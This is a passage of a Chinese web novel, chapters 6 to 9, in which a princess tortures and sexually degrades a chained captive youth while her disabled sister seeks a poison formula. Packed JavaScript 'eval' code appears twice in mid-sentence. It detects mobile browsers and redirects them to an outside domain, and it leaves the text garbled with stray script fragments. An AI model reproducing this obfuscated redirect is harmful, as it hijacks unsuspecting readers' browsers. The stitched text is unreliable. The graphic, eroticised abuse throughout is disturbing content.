薛筠意的心猛地揪紧。 邬琅早就没什么力气了。他昨日一整日滴水未进,如今能跪在这里,全凭意志强撑着。美其名曰为了防止他偷懒,每次罚跪时,薛清芷都会随手往邬琅膝下添些东西,有时是一双银箸,有时是瓷片,有时是顺手从发间扯下的步摇珠钗。 薛清芷极爱珍珠,这对步摇是前日皇帝所赐,上面嵌了足足十六颗质地圆润、雪白剔透的珍珠子,她爱不释手,日日都要拿在手里把玩。 若是将这些珍珠跪坏了,邬琅不敢想象他会承受怎样严厉的惩罚,所以他只能苦苦支撑着,直到腿筋酸软、快要抽搐,也不敢放松半分。 大颗大颗的汗珠顺着脸颊流下,无声地砸在地板上,洇成小小的一汪。 少年薄唇惨白,满脸都是不堪忍受。 直到听见木轮行过地面的声响,那双失神的眸子才慢慢恢复了几分清醒,有些懵怔地,看着在他面前停下的轮椅。 薛筠意感觉心脏里像是灌了棉花,随着呼吸,一扯一扯地疼。 那方几下狭小天地,似一方逼仄牢笼,将少年困在其中,她想起身搭救,才恍然想起,其实她与他是一样的人,皆身陷囹圄,无法挣脱。 薛筠意深吸一口气,转过头看向身后的薛清芷:“妹妹方才说,要送我首饰,可还作数?” 薛清芷愣了下,随即便笑了起来:“自然作数。皇姐若看上什么,尽管拿去就是。” 她方才那话,只不过是想在薛筠意面前炫耀一番,薛筠意性子素来清傲,怎会拿她的东西。再者,她宫里好东西多的是,便是薛筠意真要什么,她只当施舍给她就是了。 薛清芷正想着,就听薛筠意道:“这对珍珠步摇,我喜欢得紧,不知妹妹可愿割爱?” 薛清芷一怔,顺着薛筠意的视线看去,才知她要的,竟是她前日才从父皇那儿得来的那对玉蝴蝶珍珠步摇。 那上头镶嵌的珍珠,是琅州州郡所进献,乃是世间罕有的明月珠,颗颗万金难求,原是要赐给江贵妃的,是她缠着皇帝求了好几日,才好不容易让皇帝改了口。 这样宝贝的东西,怎能轻易让给薛筠意? “怎么,妹妹可是不愿意?” 薛清芷攥紧了衣袖,僵硬地笑了下:“怎会,不过一对步摇而已,皇姐喜欢,拿去就是了。” 薛筠意便弯下腰,轻轻地将步摇从邬琅的膝下取了出来。少年身子猛地颤了颤,薛筠意毫不怀疑,若再晚一些,他定然会因为失力而面无血色地昏倒在她面前。 视线里,是一只莹白如雪的手,指甲修剪得圆润,嵌着弯弯的白月牙儿。便是这只手,让邬琅得以解脱,那珠子,那比他的贱命值钱得多的珠子,终于不再折磨他了。 邬琅悄悄地缓了口气,身子却不敢放松分毫,他汗涔涔地抬起眼睛,才发觉薛筠意正在看他。 邬琅的心跳蓦地快了半分。 7. 第七章 只一瞬,邬琅便飞快地低下了头,不敢与薛筠意对视。 步摇被薛筠意拿在手中,珍珠坠子顺着她膝上霜白的缎子流下来,在邬琅眼前轻轻晃着。莹莹雪色上,隐约有一点暗红的血渍。 邬琅瞬间心慌起来,他膝下渗出的血,把那些漂亮的珍珠弄脏了。 若是让薛清芷看见,她定会勃然大怒,说不定还会命人把他的膝骨挖下来,让他好好长长记性。 一想到这些,邬琅就浑身发抖。 薛筠意也看见了那珍珠上沾染的血色,眸中闪过一丝不忍,她微不可察地叹了口气,用指腹轻轻地将那点血渍擦去,直到再瞧不出任何痕迹。 邬琅不可置信地睁大了眼睛,她、她竟不嫌他脏么? 他时常挨罚,流血是常有的事,薛清芷每每瞧见,总会满脸嫌恶地说他脏得要死,再叫宫人端了冷水进来,粗.暴地给他冲洗身子。 他盯着那截白玉似的指尖,心口扑通扑通跳得厉害,可薛筠意已经收回了手,将那对步摇递到了一旁随行的宫婢手中。 她要离开了。 邬琅心里忽而有些失落。 “多谢妹妹。”薛筠意偏过脸,淡声对薛清芷道,“妹妹坐了这么久,也该累了。就不必送了。” 薛清芷几乎是咬牙切齿,偏脸上还得强撑出几分笑来:“皇姐慢走。” 轮椅行远了。 青黛窥着自家主子脸色,识趣地上前去,将殿门关紧。 薛筠意一走,薛清芷脸色瞬间阴沉下来。 “她存心的是不是?我宫里那么多首饰她不要,偏就看上那对步摇,那可是我好不容易才从父皇那儿求来的宝贝,如今就这么轻易给了她!” 薛清芷气得不轻,一手捂着心口,一手将方几上摆着的黄釉紫砂花瓶用力拂落在地,只听尖利的一声响,瓷片碎了满地,零星飞溅在邬琅身上,少年瑟缩了下,却不敢躲,只是沉默地低头跪着。 余光瞥见跪在一旁的邬琅,薛清芷的火气瞬间有了发泄的出口,她一把拽过少年颈间铁链,直将人硬生生拖行出好几步远,接着便是劈头盖脸的耳光落下。 “天生下贱的东西,净会勾引人!别以为本宫瞧不出来,皇姐是心疼你才将那步摇要了去的,皇姐向来心气高,何时见她开口向人讨要过什么?今日竟、竟……”薛清芷越说越气,手上力道也愈发加重。 刺耳的掌掴声在寝殿内回荡。 邬琅被打得眼前发黑,死死掐着手心才勉强没让自己昏倒,地上锋利的碎瓷片嵌进他的膝盖里,针扎一样地疼。他意识都有些模糊,口中麻木地说着告罪的话,脑海中却浮现出薛筠意那双清澈的眼睛。 她望向他时,眉眼温柔极了,没有厌恶,没有嫌弃,只有怜惜和不忍。 邬琅几乎要怀疑那是不是他的错觉。 他生来卑贱,旁人待他只有冷眼与奚落,那般柔软的神色,从未有人施舍过他。从未。 青黛生怕薛清芷气坏了身子,连忙小心上前劝着:“公主消消气,您打他,自个儿也手疼不是。” 薛清芷这才停了手,犹不解气地踹了邬琅几脚,冷声命令:“自己掌嘴,打到本宫消气为止。” “是。” 少年低垂着头,一副逆来顺受的模样,抬起手便往自己脸上扇去。 本以为邬琅会辩解几句,可少年只是沉默地承受着她的苛责,薛清芷只觉心头的那股火烧得更盛了,她张了张嘴,再想不出旁的训斥他的理由,只好咬着牙,一字一顿道:“给本宫记住,今日是皇姐害你受罚的。” 听见这话,邬琅那双淡漠清冷的眸子才有了一点神采,他动作微顿,很轻地应了声“贱奴记住了”,接着便继续麻木地将手臂抬起,又重重落下。 他想,他并不怨那位长公主。 今日若非得她怜惜,光是那步摇上被他弄脏的珍珠,就足以让他遭受比眼下严厉百倍的惩罚。 脸上火辣辣地疼,两瓣白皙的颊肉很快就变得红肿软烂,似描了层诱人胭脂,瞧着分外可怜。 薛清芷没有发话,邬琅便不敢松懈。 饿狠了的身子本就虚弱得厉害,哪里经得起这般对待,邬琅眼前一阵阵地发黑,意识几欲涣散,大脑猛然晕眩一瞬,才又慢慢清明。 邬琅忽而又想起那颗珍珠,那颗被薛筠意的指尖抚过的珍珠。 他想,若他是那颗珍珠就好了,可以被她那样温柔地,拭去一身的脏污和狼狈。 “没吃饭?就用这么点力气糊弄本宫?”薛清芷含着怒的声音将邬琅拉回现实。 邬琅顿了顿,沉默地加重了力道,本就高高肿起的脸颊上很快就浮现出紫砂一样的印子来。 掌嘴声不绝于耳。 少年一如既往地温驯。 薛清芷心知邬琅并没有偷懒,可她就是不想看见他那副沉默忍受的模样,即便是受罚的时候,那双漂亮的乌眸也依旧清冷,没有半分情绪。 她不喜欢。 很不喜欢。 殿中突然安静下来,薛清芷皱起眉,正要训斥邬琅竟敢擅自停下,转过脸却发现少年昏倒在地上,长长的鸦睫似蝴蝶般安静停栖,唇色是骇人的惨白。 薛清芷怔愣一瞬,第一次慌了神。 * 晌午时分,日光正盛。灿灿金光将晶莹雪亮的珍珠镀上一层柔美的光泽。 “还真是价值连城的好东西。”墨楹瞧着薛筠意手中的步摇,瘪了瘪嘴,小声道,“皇后娘娘在的时候,都没见陛下赏过皇后娘娘这样名贵的首饰。” 薛筠意淡笑了下,将步摇举得更高了些,微眯起眼打量着那些珠子的成色。 “以后这样的话少说,免得叫旁人听了去,生出什么不该有的议论来。” “是,奴婢知道了。” 墨楹闷闷应了声,推着轮椅往前走,停在一处还未开花的荷花池边,“对了,奴婢今日派人留意着,那邬家大公子离开凝华宫后便回了邬府,这会儿应当在府上用午膳呢。殿下可要奴婢把他请来?” 薛筠意想了想:“也好。就说是本宫有些医理不懂,想向他讨教,请他入宫一叙。” 墨楹“哎”了声,欢快应道:“奴婢这就去办。” 薛筠意笑笑,对她这双残废的腿,墨楹这丫头倒是比她自己还上心。 在院子里晒了会儿太阳,薛筠意便吩咐宫婢推她回了寝殿,倚在轮椅上闭目小憩。不多时,便听墨楹在外禀话,道邬寒钰到了。 “请。”薛筠意直起身。 邬寒钰跟在墨楹身后,低着头走进殿中,朝薛筠意行了一礼。 “拜见长公主。” 薛筠意淡淡颔首,吩咐:“赐座。” 邬寒钰攥紧了手指,有些不安地在宫人搬来的矮凳上坐了下来。墨楹奉上茶盏,他拿在手里,只觉如烫手山芋,虚虚吹了几口上头的热气,却迟迟不敢入口。 薛筠意瞥他一眼,不疾不徐道:“邬公子不必紧张。本宫只是听闻邬公子精通岐黄之术,所以请公子过来,诊一诊本宫的腿疾。” 邬寒钰扯了扯嘴角,勉强笑道:“不怕殿下笑话,我幼时贪玩,只从母亲那儿学了些皮毛本事,都是糊弄人的。要论医术,这太医院里各个都是妙手回春的圣手,自是比我强出百倍,若连他们都没法子……” 邬寒钰顿了顿,没再说下去。 “邬公子这话,便是自谦了。本宫虽久居深宫,但也时常听人提起,这些年邬公子在京都遍开医馆,治好了不少古怪的顽症,不仅百姓夸赞不已,父皇对此亦是褒奖有加。昔年邬夫人着手成春,曾令先帝腐朽之躯起死回生,邬公子既承其衣钵,医术自不会差。且宫中太医,用的大多是些医典中学来的老套法子,不比民间土方,往往更有奇效。” 薛筠意抿了口茶,嗓音沉静:“邬公子觉得,本宫说得可对?” 邬寒钰哑口无言,讪讪地用衣袖擦了擦额头上的汗,心道这长公主瞧着文静内敛,实则可比二公主不好应付多了。也怪他自个儿,今日在凝华宫,为了侯位之事,一时心急在薛筠意面前露了口风,才惹上了眼下的麻烦事。 其实方才那话,一半是自谦,一半也是实话。 身为邬夫人的独子,邬夫人自是对他寄予厚望,他才将能认字,邬夫人便要他认草药,学针法,背医书。邬寒钰不想学那些枯燥难懂的医典,总是偷偷撇了书册跑出去,拉着府里的小厮兴致勃勃地研究起樗蒲和牌九,每每被邬夫人抓住,总免不了一顿痛打。 邬夫人越是严苛,他便对习医愈发抵触,赌气之下,甚至烧毁了好几本珍贵的医典孤本。倒是他那个出身卑贱的弟弟邬琅,总是趁府里下人不注意,偷跑到邬夫人的书房去看书。 邬夫人起初还对邬寒钰的懈怠十分愤怒,可渐渐发现邬寒钰本就没什么天分,强求也是无用,只得放弃。 邬夫人是认命了,但邬家的名声不能倒啊,这平康侯的位子,是凭着她一手妙手回春之术才得来的,若叫世人知道,她养了个不懂医理的儿子,岂非让人笑话? 邬寒钰自幼在一声声夸赞中长大,与邬家交好之人,时常赞他既为邬夫人之子,日后必定青出于蓝而胜于蓝,他承着这些赞誉,年纪轻轻便有了好名声,自然也不愿让人看轻了。于是邬夫人逝后,他便派人在各州郡到处搜罗医术精湛的老大夫,花费重金雇佣他们为邬家医馆做事。百姓们不知其中根底,只当他们的病能医好都是邬寒钰的功劳,对他愈发感激。 可这话自是不能对薛筠意明说的,邬寒钰默了半晌,只得硬着头皮说道:“我初回京都,听家父说起,才知公主腿疾一事,心中实在替公主惋惜。若我母亲还在世,或许还能为公主诊治,可以我的本事,确实、确实有些为难。” 薛筠意闻言,也不恼,只轻笑道:“看来,邬公子只愿意帮二公主的忙,却不肯帮本宫的忙啊。” 邬寒钰心头咯噔一下,知晓再隐瞒不得,慌忙搁下茶盏,扑通一声跪了下来:“殿下恕罪,我、我也是迫不得已……” 薛筠意虽不得皇帝喜爱,但到底是皇后所出的长公主,眼下邬家虽巴结着薛清芷,可皇太女的人选尚未定下,他也不好彻底得罪了薛筠意,总要为自己留条后路才是。 “那样罕见的毒药,邬公子都制得出来,足以见得,邬公子方才那话确是自谦。” 薛筠意漫不经心地晃着手中茶盏,懒得再与他周旋:“把解药给本宫,本宫可以不计较邬家之过。” 邬寒钰惶恐地低着头,额上早已冷汗涔涔:“我不敢欺瞒殿下,这药,是我在母亲的库房里无意间寻到,献与二公主的。至于解药,只母亲生前留下了一颗,也、也一并交到了二公主手里。” 薛筠意眼眸微眯:“没有方子?” “没、没有。”邬寒钰生怕薛筠意不信他,急切地举起三根手指,“我若撒谎,便让我遭天打五雷劈!” “那,毒药的方子呢?” 邬寒钰一愣:“殿下……要那毒药方子做什么?” 薛筠意道:“你放心,本宫没有那等害人的龌龊心思,只是闲来无事,想研究研究其中药理罢了。” 邬寒钰面色讪讪,小声道:“殿下是最明事理之人,您也知道,放眼京都,有几个敢得罪二公主的?她既开了口,邬家哪敢不将那药奉上。我这就回府去将殿下要的方子取来,还望殿下,莫要怪罪邬家。” 薛筠意心底冷笑,这邬家大公子哪里是什么行医救世的君子,分明是个见风使舵的墙头草,既想在薛清芷那儿得些好处,又不想得罪了她。 其实邬寒钰本不必如此担心的—— 皇帝对薛清芷纵容至此,即使知道是薛清芷存心害了她,也只是轻斥几句便了事,甚至连禁足都不曾有,可见皇帝心中,根本就不在意她这个女儿,又哪里会惩罚邬家呢。 邬寒钰是个蠢人,蠢人自是经不起敲打的。 薛筠意没再说什么,只吩咐宫人将他好生送出去,不出半个时辰,邬寒钰便亲自把她要的方子送了过来。 她看了眼纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716023|173712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上潦草字迹,唤来墨楹:“你仔细誊写一份,送去太医院,让孟绛看看可有头绪。” “是。”墨楹小心地接过那张纸,匆忙退下去办事。 又到了药浴的时辰了。 薛筠意身边的宫婢们做起这事来已经十分熟练,即使孟绛不在,她们也能将药汤和热水调兑得恰到好处。 熟悉的草药味在空气中弥漫,薛筠意本想随手取一卷书来打发这枯燥的时光,余光瞥见身旁小桌上摆着的那对玉蝴蝶步摇,她目光凝了凝,还是伸手将它拿了起来。 珍珠颗颗圆润饱满,当真是琅州所产的,有着“明月落人间”之称的宝珠。 那点血迹已被薛筠意仔细拭去,她指腹摩挲过珍珠光洁无瑕的表面,脑海中不觉浮现出少年仓惶望着她的、那双乌黑的墨眸。 心口忽而一阵窒闷,薛筠意蹙眉闭上眼,深深呼出一口气,迫使自己不去想,他那时该有多疼。 * 邬琅醒来时,发觉自己正躺在一张柔软温暖的床榻上。 红纱逶迤,熏香刺鼻。 邬琅怔愣片刻,很快意识到这是薛清芷的床榻,呼吸陡然一滞。 除了伺候薛清芷的时候,他从来不被允许待在这里。薛清芷说过,她床上铺的都是上好的蜀锦,随便抽一根丝儿出来,都比他这条贱命值钱,若是被他弄脏了,她绝不会轻饶了他。 邬琅慌忙掀开被子,被褥干干净净,并未沾上他身上的血迹。他松了口气,这会儿才发觉身上疼得厉害,骨头仿佛被摁了钉子般,稍一挪动便是剧痛难忍,邬琅死死咬着牙根才没让自己出声,一抬眸,便见薛清芷正坐在红檀圆桌边,由阿萧和解安服侍着用晚膳。 小窗外,天色昏昧,余霞漫天。 他竟昏睡到了傍晚。 邬琅心头猛地一跳,顾不上满身的伤,立刻跌跌撞撞地下了床,跪行至薛清芷脚边,按着被教过无数次的那样,磕头,告罪。 “贱奴知错,求公主宽恕。” 薛清芷瞥了眼跪伏在脚边请罪的少年,只当没看见,转过头,继续慢条斯理地吃着阿萧剥好的虾。 邬琅昏倒的时候,她是真的有些心慌了。 她只是一时生气想罚一罚他,还没想真的把人弄死。凝华宫里那么多面首,只邬琅这张脸最合她心意,真弄死了,她也舍不得。 要怪就怪邬琅太能忍耐,无论她用怎样严厉的手段,他都只是咬着牙一声不吭,只有实在疼得狠了,才会哑着声求她几句。 太医说,邬琅是许久未吃东西,再加之体力过分透支,所以才会昏倒。 听得邬琅并无大碍,薛清芷才放下心来。算起来,自她罚邬琅去暗室思过那日起,邬琅便滴水未进,一想到此处,薛清芷便忍不住要发火,他是木头做的么?都饿得皮包骨了,竟还强忍着不肯向她张口!分明只要放软了身段求一求她,想要什么得不到? 可邬琅就是不肯。 仿佛一具没有生气的木偶,只会麻木地顺从她所有过分的惩罚和要求,除此之外,再无任何多余的情感。 薛清芷越想越气,口中的虾肉也失了滋味,她啪地一声撂下银箸,冷声问道:“错哪儿了?” 邬琅愣了一瞬,才答:“贱奴错在,不该在受罚时擅自昏倒。” 薛清芷睨着他,等着他再说些什么,求她轻饶,或是求她赏些吃食。 可少年只是跪伏在她脚边,安静噤声,只余呼吸声清浅起伏,微不可闻。 薛清芷气得嘴唇发抖。她不知道这股火气从哪里来,只是莫名地心烦,忽听咕噜一声,是邬琅的肚子不争气地响了一声。 邬琅身子一僵,难堪地咬紧了唇。 饿了整整两日,他早就受不住了。更不必说薛清芷面前那满桌的鱼虾肉蔬,样样都是最好的食材,经了御膳房做好送来,香气四溢,无时无刻不在刺激着他空瘪的胃。 他只能拼命收着呼吸,祈祷着薛清芷不会因此而再责罚他。 见邬琅仍旧沉默着,薛清芷胸口起伏,显然是气得不轻,阿萧不明就里,忙放下手中的虾,上前安慰着:“公主这是怎么了?” 薛清芷一把拂开他的手,怒声吩咐一旁的青黛:“去盛碗清粥来,要刚熬好的,滚沸的。” 饶是习惯了自家主子喜怒无常的性子,青黛也被她这一嗓子吓得不轻,连忙小跑着退下了,很快就端了一碗滚烫的热粥回来。 “公主,您小心烫……” 青黛话还未说完,就见薛清芷弯下腰,砰地一声把粥碗搁在邬琅面前,不耐烦道:“喝光它,别死在本宫面前了。” 白粥的清香钻入鼻尖,邬琅忍不住吸了吸鼻子,他知道这粥烫得厉害,薛清芷不过是变着法儿地折磨他罢了,可有东西吃总比饿着肚子要强,更何况,他从来没有拒绝的权利。 “贱奴谢公主赏赐。” 邬琅微微抬起脸,伸出舌尖,小口小口地舔.食着。 刚从锅里盛出来的米粥,粒粒熬得滚烫,如火星般烫过舌面,激得他一阵阵地战栗。可他不敢停下,只能自.虐般地,将那些热烫的米粥咽下喉咙,任由它们灼烧着他空空如也的胃。 薛清芷瞥着脚边的少年温驯地顺着她的意,分明舌尖已经被烫得颤抖不已,却仿佛毫无知觉似的,动作一刻未停。 她一时竟有些恍惚,实在无法相信,眼前这个身形消瘦的可怜少年,与那时她在长街书铺里一见倾心的清冷公子,是同一个人。 单薄纱衣笼在邬琅身上,少年肩后那对过分瘦削的蝴蝶骨轻轻起伏,仿佛风一吹便要飞远了。 薛清芷看着邬琅,只觉处处都是不痛快,她咬着牙,一脚将他面前的粥碗踹翻,滚烫的粥泼在少年手背上,霎时间便红了一大片。 邬琅被烫得猛地弓紧了身子,他颤着手,茫然无措地望着洒了一地的白粥,不明白他又做错了什么。 薛清芷冰冷的声音再次从头顶传来。 “本宫让你停了吗?本宫赏你的东西,一滴都不许剩。” 8. 第八章 浓稠的白粥淌进地板的缝隙,沾染上未扫净的尘灰,烫的,脏的,就像他这副身子一样。 邬琅抿了下唇,不过犹豫了半刻,薛清芷已经抬脚踩上他的头,将他半边脸颊狠狠摁进地上滚烫的粥糊里。 “聋了?没听见本宫的话吗?” “唔……” 邬琅闷哼一声,脸上掌掴后的余肿尚未消褪,经了这么一烫,登时疼痛难忍,有如火苗在烧灼,那只脚却丝毫没有怜悯他的意思,反而又加重了几分力道。 “贱奴会……弄干净的……” 少年从喉咙里挤出微弱的声音,干涩嘶哑,听着很是可怜。 薛清芷冷哼一声,这才挪开了脚,邬琅剧烈地咳嗽了几声,强撑着力气跪起来,纤细的脖颈弯折伏低,卖力地舔.食起地上仍旧滚烫的白粥。 薛清芷居高临下地睨着脚边的人儿,少年劲瘦细窄的腰在薄纱下若隐若现,隐约露出几道交错鞭痕,瞧着好看极了。俊秀高挺的鼻梁小猫似的蹭着地面,那被烫过的舌尖愈发红艳,一遍遍不知疲倦地伸出来,沾染上米粥的雪白。 纯净的白,勾人的红。 在少年身上颓靡地乞怜。 薛清芷看在眼中,火气稍缓,却仍旧没有放过邬琅,鞋尖抵上少年背后那对瘦得突兀的蝴蝶骨,慢悠悠地碾着,直到听见骨节咔擦的声响,才施舍般开口。 “听话些,本宫自然会待你好。” “是。” 身子被踩得又伏低了几分,邬琅哑声应着,心想他还要如何听话呢?他已经弃了所有的尊严和脸面,如一条狗般匍匐在她脚边,可她犹嫌不够。 他只是想活下去。 仅此而已啊。 见少年如此乖顺驯服,薛清芷再寻不出什么错处来,心里又不大痛快了,好半晌,她才将视线从邬琅身上移开,重新拿起银箸,随意将邬琅当作了垫脚的凳子,继续由阿萧服侍着用膳。 “公主,奴婢已经按您的吩咐,将库房里所有的珍珠都寻了出来,您瞧瞧可有喜欢的,奴婢这就送去玉珍局叫人打套首饰送来。”青黛这时才敢开口禀话,她侧过身,让几名宫婢上前来,将手里捧着的长匣呈到薛清芷眼前。 匣子里装着的,都是些成色极好的珍珠,有的是皇帝赏下来的,有的是朝中那些想巴结她的人私底下送的,其中不乏极为罕见的珍品,可薛清芷扫了好几眼,总觉得没有一颗能比得上那支玉蝴蝶步摇上的明月珠。 眼看着薛清芷的脸色愈发阴沉,青黛连忙摆了摆手示意宫婢们将珍珠收起来。 “这些珠子不合公主心意,改日奴婢再留心着,搜罗些更好的来。”她轻咳一声,端着笑脸上前,试图转移薛清芷的注意力,“对了,今日午后,邬公子派人来了一趟咱们宫里,说是听闻公主近日在学习骑射,所以特地挑了一匹好马送与公主。公主可要去看看?” 薛清芷嗤了声:“他倒是有心。” 她对骑射之术其实并不感兴趣,是皇帝见她整日待在宫中无趣,所以自作主张钦点了御林军统领林奕来教她。 起初薛清芷并不想学,她是金枝玉叶的皇家公主,与马匹弓箭打交道,那是男子才做的事情。后来听宫人说起,当初薛筠意的骑射便是林奕亲自教导的,薛清芷犹豫了好些日子,才勉强答应让林奕教她。 她是不想被薛筠意比了下去,可骑射于她而言,实在太过辛苦,马儿不听话,手里的弓也不稳当,她心烦得很,时常对林奕发脾气,后来林奕便总是推脱御前有差事,好些天才来上一回。 本想让青黛把那匹马还给邬寒钰,转念想起薛筠意,薛清芷忽又改了主意。 “本宫也有些日子不曾骑马了。林奕忙着,明日便去请了皇姐过来,让皇姐亲自教一教本宫吧。”薛清芷勾起唇角,笑得意味深长。 邬琅闻言,动作不由一顿,那位长公主既双腿有疾,又如何能上马骑射?薛清芷此举,分明是故意的。 “发什么愣呢?” 察觉到脚下的少年忽然停了下来,薛清芷眉心拧起,冷冷剜来一眼,“本宫不过提了一句皇姐,你便分了神,你心里,是不是一直念着皇姐啊?” 邬琅慌忙收敛心神,轻声道:“贱奴不敢,贱奴只是……” 他只是太累了。长久地伸舌舔.食让邬琅的下颌麻木得几乎快没了知觉,唇角掌掴后的旧伤好不容易结了痂,如今又被扯着开裂,渗出血珠来。 可话还未说完,颈间铁链忽地被狠狠拽起,他惊惧地仰起脸,见薛清芷一手拎起一壶滚烫的茶水,一手用力掐住他的下颌迫使他张开嘴来,不由分说便将冒着白气的热茶哗啦啦地淋在了他的舌头上。 少年瞳孔骤然放大,身子猛地颤了几下,难以承受的痛苦令他一时失语,只能哀哀地望着薛清芷,无声求饶。 “本宫何时允许你为自个儿开脱了。” 薛清芷冷眼看着少年俊秀的脸庞扭曲着,显然是疼到了极点,那修长纤细的脖颈却还乖乖地任由她掐在手中,她只消稍一用力,便能轻而易举地剥夺他的呼吸。 她盯着邬琅那双染了水色的眼睛,良久,才松开手,俯下身来,对着大口大口喘息的少年一字一顿道:“别忘了本宫警告过你的话。” 那话邬琅记得清楚,自是不敢忘的。 那时薛清芷轻轻拍着他的脸,温声告诉他,不可以喜欢皇姐,他低着头应得惶恐,而事实上,对于那位清冷如观音的长公主,他也的确不敢有半分僭越的念头。 他这般卑贱肮脏的人,怎配肖想天上的月亮,每每见到薛筠意,邬琅都觉得他这副破烂不堪的身子脏了她的眼睛。 “贱奴心里只有公主,不敢想旁人。”邬琅垂眸说着薛清芷爱听的话,舌头被烫得厉害,大约已经肿了,他连吐字都变得艰难,只能祈祷着薛清芷能听得清楚,不再苛责于他。 薛清芷没听清他含糊的话,不悦地皱起了眉,视线不经意地往下瞥了一眼,却见茶水溅湿了邬琅的衣裳,湿淋淋地紧贴着他单薄的身子,将紧实的薄肌线条勾勒得分明。 胸口洇湿的雪纱下,隐约可见银钉的形状。 薛清芷起了兴致。 没去管他一身的狼狈,她径自拽起邬琅口中那截烫伤的红.舌,少年被牵着,跟在她脚边踉跄膝行着往床榻去。 “好生伺候本宫,今日便饶过你。” * 昨夜落了场雨。 细绿枝叶打得透湿,经了清晨的日头一照,满院都是潮湿盎然的春意。 用过早膳,薛筠意便吩咐墨楹推她出来吹吹风。 她记得姜皇后在世的时候,最喜欢这样的天气。雨后初晴,一切都洗得透亮,姜皇后便牵着她的手,领着她登上观星楼,朝宫墙外看去。 姜皇后会指着北边,告诉她那便是寒州的方向,舅舅和外祖父都在那里,等再过几年,便能回京与她们团圆。年幼的她听得懵懂,只将团圆二字记得清楚,可直到姜皇后含恨闭上眼,姜家人还是没有回京。 薛筠意知道,是皇帝不许他们回来。 为着姜皇后的事,皇帝恨极了姜家,恨姜家占去了那母仪天下的皇后之位,而他心尖上的那位琅州江氏,只能屈居人下,成了妃妾。 真可笑啊。 明明当初求着姜家相助的人是他,如今恨姜家的人也是他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“难得妹妹相邀,本宫自然不好拂了妹妹的盛情。只是本宫如今身子不好,骑射又是极费气力之事,今日,怕是就不能为妹妹作画了。”薛筠意看向青黛,声音平静。 她答应得如此痛快,倒是让青黛愣了一瞬。 “这、这是自然,那画本也不急,赶在二公主册封大典前画完就成。”青黛侧过身,生怕薛筠意反悔似的,试探着问道,“那,奴婢这便带您去凝华宫?” “嗯。” 见薛筠意当真答应了,墨楹不由着急起来,担忧地拉住了她的衣袖。 薛筠意弯唇笑了下,让墨楹不必担心。 她何尝不知,薛清芷不过是想借着学骑射的名头来讥讽她这双残废了的腿,可她若不去,只会让薛清芷更加得意。 母后曾教导过她,她身上流着姜家的血,无论身处何种境地,都需记着姜家的风骨,万不可轻易低头,叫人看轻了。 她的腿虽然废了,但也并非完全不能骑马。只是腿上没了知觉,无法发力,上下马背时需得旁人帮着,再者,必得是温驯些的马,才好掌控。 轮椅行至凝华宫,青黛在前面引路,带着薛筠意往西南角去。 那里有一道偏门,出去后顺着宫道西行百步,便是宫中一处荒弃多年的校场。因离凝华宫极近,皇帝便命人收拾了一番,专门用作薛清芷练习骑射之地。 “前头便是马厩了,还请殿下先挑一匹合适的马。”青黛转过脸来,笑吟吟道。 凝华宫中有宝马十余匹,薛清芷虽不喜这些,但皇帝每每得了好马,依旧总是往她宫里送。 薛筠意视线漫不经心地扫过去,忽而愣住,她惊愕地发现,那马厩的栏杆旁,竟拴着个清瘦不堪的少年。 ——是邬琅。 9. 第九章 足有半臂粗的玄铁链牢牢圈锢着少年纤细脖颈,邬琅低垂着头,几乎是趴伏在地,以一种极度狼狈的姿势,费力地舔着面前马槽里的水。 那个名唤阿萧的面首就站在一旁,神色不耐地盯着他。 “动作麻利点,别想着偷懒磨蹭。这可是公主好心赏你的药,公主吩咐了,必须一滴一滴地全部舔干净,才能治好你嘴里的烫伤。你可别不知好歹,浪费了公主对你的心意!” 他手中拎着根皮色锃亮的马鞭,时不时便往邬琅身上落下去,少年单薄脊背猛地弓紧,那层几乎不能蔽体的纱衣很快就被抽得破烂,新伤覆过旧疤,渗出红艳艳的血来。 薛筠意眉心紧蹙,阿萧不过是薛清芷身边的面首而已,怎么敢这般明目张胆地欺负邬琅? 还是说……是薛清芷纵着他如此的? 她沉下脸,指节轻叩扶手,墨楹会意地停下脚步,让轮椅稳稳停在马厩前的空地上。 薛筠意这时才看清,那马槽里装着的水,是兑了药的。 水面上浮着淡淡的褐色,苦涩的药味混着雨后的泥土气息,弥散在四周潮湿的空气中,味道十分难闻。 薛筠意羽睫颤了颤,几乎有些不忍心看了。 马槽里的水装得满满当当,便是牵一匹马儿来畅快痛饮,都未必能喝得下全部。 少年的头埋得极低,薛筠意看不见他脸上神情,只能看见他口中那寸可怜的湿红一遍遍地卷起微弱的水花,雪色纱衣下的小腹微微鼓胀,瞧着难受极了。 薛筠意深吸一口气,冷声对阿萧道:“他好歹也是妹妹身边的人,与你是一样的身份。你怎可这般待他?” “长公主误会了。是这贱奴昨日不小心烫伤了舌头,公主好心给他治伤,所以赏了他药呢。只是良药苦口,公主担心他不肯喝下,所以才命我在此看着他些。”阿萧收起马鞭,不紧不慢地朝薛筠意行了一礼。 听见薛筠意的声音,邬琅身子猛地僵了僵,想起自己眼下卑贱的模样,他恨不得挖个地洞将自己埋进去,免得污了薛筠意的眼睛。 长公主怎么会来这儿…… 昨日薛清芷一时兴起,拴着他折腾了两个多时辰,他本就只喝了一点清粥果腹,哪里还有力气支撑,他将手心掐得青紫,还是没能挨过去,连跪都跪不稳了,只能哑着声求饶。 薛清芷大发雷霆,怒斥他这副身子真是愈发不中用了,狠狠抽了他几巴掌,然后便将他赶去了马厩。 犯了错的奴隶,是没有资格睡在屋子里的。 